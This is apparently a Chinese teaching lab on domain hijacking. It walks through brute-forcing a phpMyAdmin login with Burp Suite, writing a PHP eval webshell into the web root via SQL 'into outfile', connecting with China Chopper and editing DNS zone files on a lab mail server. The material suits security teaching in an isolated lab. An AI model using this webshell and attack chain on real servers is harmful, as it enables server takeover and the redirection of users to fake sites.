實驗所屬系列:web安全
實驗對象:本科/專科信息安全專業
相關課程及專業:信息網絡安全概論
實驗時數(學分):1學時
實驗類別:實踐實驗類
了解域名及域名劫持
域名劫持的含義
由於點分十進制的IP地址難於記憶,便出現了域名。由於網絡傳輸中最終還是基於IP,所以必須通過一種機制將IP和域名一一對應起來,這便是DNS。全球總共有13台根域名服務器。
域名劫持是互聯網攻擊中常見的一種攻擊方式,攻擊者通過對DNS服務器進行攻擊,或偽造DNS將目標站點解析到別的地址,用戶訪問該域名時被重定向到別的站點。在劫持的網絡范圍內攔截域名解析的請求,分析請求的域名,把審查范圍以外的請求放行,否則直接返回假的IP地址或者什么也不做使得請求失去響應,其效果就是對特定的網址不能訪問或訪問的是假網址。
域名劫持的原理
域名劫持的基本原理是用戶輸入要訪問的域名,請求DNS服務器遍歷DNS數據庫,查找該域名對應的IP地址,將其結果返回給用戶。在DNS服務器遍歷DNS數據庫時,如果修改了該域名對應的IP,便實現了域名劫持。簡單來說就是:本來一個域名對應一個IP,當這個域名對應到別的IP上就稱為域名劫持。如果知道該域名的真實IP地址,則可以直接用此IP代替域名后進行訪問。
通過該實驗了解域名劫持的原理,完成對郵件服務器的劫持。
郵件服務器:Win2003,IP地址:10.1.1.10
另一台主機地址:10.1.1.253
測試者:win7,IP地址隨機
實驗中提供了一台郵件服務器,該服務器同時提供DNS服務,測試者通過入侵到該服務器,修改DNS服務中的正向解析與反向解析文件實現劫持。
首先我們打開 http://mail.test.com,看到一個郵件登錄入口。
這里我們先使用burpsuite對該站點進行目錄掃描。
1、配置好IE代理,截取數據包。
2、右鍵send to spider。
3、發現存在phpmyadmin。如果未出現請單擊Filter將Hide empty folders(隱藏空文件夾)的勾去掉。
4、然后在地址欄添加phpmyadmin,如圖:
5、接下來對phpmyadmin進行暴力破解,隨便輸入一個用戶名和密碼,比如此處我輸入:用戶名:root 密碼:123,頁面提示錯誤,然后查看burpsuite截獲到的數據包。
6、找到Authorization,選中Basic后邊的字符串,進行如下步驟:右鍵convert selection->base64->base64-decode。
7、可以看到剛才輸入的用戶名和密碼。
8、右鍵send to intruder,在Positions選項卡下單擊clear$。
9、選中root:123,單擊add$。
10、切換到payloads選項卡下,設置payload type,在add處添加用戶名,separator for position1 處添加一個冒號。
11、加載桌面上一個密碼字典pass.txt,配置如下。
12、配置payload processing,如下圖:
13、去掉payload encoding中的對號。
14、單擊intruder下的start attack,一段時間后,發現了一個length和其他的不同。
15、雙擊打開,復制紅色區域的字符串。
16、粘貼在decoder下,選擇decode as base64,可以看到用戶名密碼為root:1234567890,登錄。
17、接下來需要知道網站的路徑是什么,一般網站搭建好后都會存在info.php,phpinfo.php,php_info.php等測試文件,一一訪問下,發現存在phpinfo.php文件,並得知網站目錄為C:/xampp/xampp/htdocs。
18、此時需要通過phpmyadmin拿這個站點的shell,選擇SQL,輸入如下命令,點擊執行:
use mysql; //使用Mysql數據庫
Create TABLE heetian (heetian1 text NOT NULL); //創建heetian表,heetian1字段
Insert INTO heetian(heetian1) VALUES('<?php @eval($_POST[pass]);?>'); //在heetian表中的heetian1字段中添加值為一句話
select heetian1 from heetian into outfile 'C:/xampp/xampp/htdocs/test.php'; //使用Mysql中outfile函數將其導出到test.php
Drop TABLE IF EXISTS heetian; //刪除heetian表
返回結果如下:
19、執行成功,訪問下http://mail.test.com/test.php。
20、發現返回空白頁面,接下來用中國菜刀連接一下。
21、接下來我們需要對這台服務器進行域名劫持,將其劫持到一台IP為10.1.1.253的主機上,找到C:\WINDOWS\system32\dns\etc中的test.com.zone和10.1.1.zone。
22、分別對這兩個文件進行編輯,保存。
23、右鍵“虛擬終端”。
24、重啟下dns服務,輸入命令:net stop named和net start named,回車。
25、刷新 http://mail.test.com,發現劫持成功。頁面會顯示為:“歡迎來到合天網安實驗室!”
到此,實現完整的域名劫持過程,試驗結束。